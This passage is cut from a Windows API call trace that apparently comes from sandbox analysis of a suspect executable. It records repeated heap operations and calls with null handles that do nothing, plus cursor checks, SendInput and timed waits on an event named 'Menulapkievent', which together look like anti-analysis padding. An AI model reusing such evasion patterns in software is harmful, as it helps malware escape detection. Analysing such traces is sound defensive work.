(HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0023.637] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0023.637] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0023.637] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0023.637] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0023.637] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0023.637] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0023.637] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x20) returned 0x2ef9d0 [0023.637] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x30) returned 0x2ec528 [0023.637] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ef9d0 | out: hHeap=0x2d0000) returned 1 [0023.637] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x47) returned 0x2e8080 [0023.637] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec528 | out: hHeap=0x2d0000) returned 1 [0023.638] CreateAcceleratorTableA (paccel=0x0, cAccel=0) returned 0x0 [0023.638] wsprintfA (in: param_1=0x1872b4, param_2="Save current changes in %s?" | out: param_1="Save current changes in ?") returned 25 [0023.638] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0023.638] TranslateAcceleratorA (hWnd=0x0, hAccTable=0x0, lpMsg=0x186ed4) returned 0 [0023.638] TranslateMessage (lpMsg=0x186ed4) returned 0 [0023.638] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0023.639] SetAbortProc (hdc=0x0, proc=0x408568) returned -1 [0023.640] SetAbortProc (hdc=0x0, proc=0x408568) returned -1 [0023.640] SetAbortProc (hdc=0x0, proc=0x408568) returned -1 [0023.640] SetAbortProc (hdc=0x0, proc=0x408568) returned -1 [0023.640] SetAbortProc (hdc=0x0, proc=0x408568) returned -1 [0023.640] SetAbortProc (hdc=0x0, proc=0x408568) returned -1 [0023.640] SetAbortProc (hdc=0x0, proc=0x408568) returned -1 [0023.640] SetAbortProc (hdc=0x0, proc=0x408568) returned -1 [0023.640] SetAbortProc (hdc=0x0, proc=0x408568) returned -1 [0023.640] SetAbortProc (hdc=0x0, proc=0x408568) returned -1 [0023.640] GetCursorPos (in: lpPoint=0x186e84 | out: lpPoint=0x186e84*(x=803, y=457)) returned 1 [0023.640] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="Menulapkievent") returned 0xe8 [0023.640] SetWindowExtEx (in: hdc=0x0, x=0, y=0, lpsz=0x0 | out: lpsz=0x0) returned 0 [0023.641] GetCursorPos (in: lpPoint=0x186e7c | out: lpPoint=0x186e7c*(x=803, y=457)) returned 1 [0023.641] SendInput (cInputs=0x1, pInputs=0x186ed4, cbSize=28) returned 0x1 [0023.641] GetPriorityClass (hProcess=0x0) returned 0x0 [0023.641] WaitForSingleObject (hHandle=0xe8, dwMilliseconds=0xbb5) returned 0x102 [0026.644] GetCursorPos (in: lpPoint=0x186e7c | out: lpPoint=0x186e7c*(x=803, y=457)) returned 1 [0026.645] SendInput (cInputs=0x1, pInputs=0x186ed4, cbSize=28) returned 0x1 [0026.645] GetPriorityClass (hProcess=0x0) returned 0x0 [0026.645] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0xc) returned 0x2f4410 [0026.645] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0xc) returned 0x2f4428 [0026.645] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0xc) returned 0x2f4440 [0026.645] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0xc) returned 0x2f4458 [0026.645] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2f4428 | out: hHeap=0x2d0000) returned 1 [0026.645] GetSystemMetrics (nIndex=-1193897968) returned 0 [0026.645] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2f4440 | out: hHeap=0x2d0000) returned 1 [0026.645] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2f4458 | out: hHeap=0x2d0000) returned 1 [0026.645] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2f4410 | out: hHeap=0x2d0000) returned 1 [0026.645] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.645] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.645] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.646] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.646] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.646] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.646] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.647] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.648] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.648] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.648] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.648] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193879023, cy=-179, fuLoad=0x0) returned 0x0 [0026.648] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.649] GetLastError () returned 0x715 [0026.649] SetLastError (dwErrCode=0x715) [0026.649] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.649] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.649] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.649] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.649] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.649] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.649] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.649] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.649] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.649] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.649] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.649] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.649] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.649] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.649] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.649] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.649] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.649] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.649] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.649] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.649] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.649] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.650] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.650] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.650] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.650] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.650] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.650] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.650] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.650] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.650] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.650] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.650] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.650] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.650] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.650] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.650] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.650] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.650] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.650] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.650] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.650] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.650] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.650] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.650] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.650] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.650] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.650] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.650] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.650] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.650] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.650] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.650] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.650] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.650] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.650] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.650] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.650] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.650] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.650] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.650] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.650] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.650] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.651] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.651] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.651] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.651] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.651] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.651] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.651] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.651] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.651] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.651] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.651] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.651] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.651] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.651] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.651] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.651] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.651] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.651] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.651] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.651] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.651] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.651] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.651] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.651] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.651] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.651] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.651] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.651] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.651] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.651] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.651] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.651] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.651] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.651] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.651] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.651] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.651] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.651] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.651] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.651] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.652] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.652] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.652] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.652] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.652] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.652] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.652] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.652] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.652] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.652] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.652] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.652] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.652] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.652] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.652] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.652] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.652] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.652] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193860078, cy=27, fuLoad=0x0) returned 0x0 [0026.652] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.652] GetLastError () returned 0x715 [0026.652] SetLastError (dwErrCode=0x715) [0026.652] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.652] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.652] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.652] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.652] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.652] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.652] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.652] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.652] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.653] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.653] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.653] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.653] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.653] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.653] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.653] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.653] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.653] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.653] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.653] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.653] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.653] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.653] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.653] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.653] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.653] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.653] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.653] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.653] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.653] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.653] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.653] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.653] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.654] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.654] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.654] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.654] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.654] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.654] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.654] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.654] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.654] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: 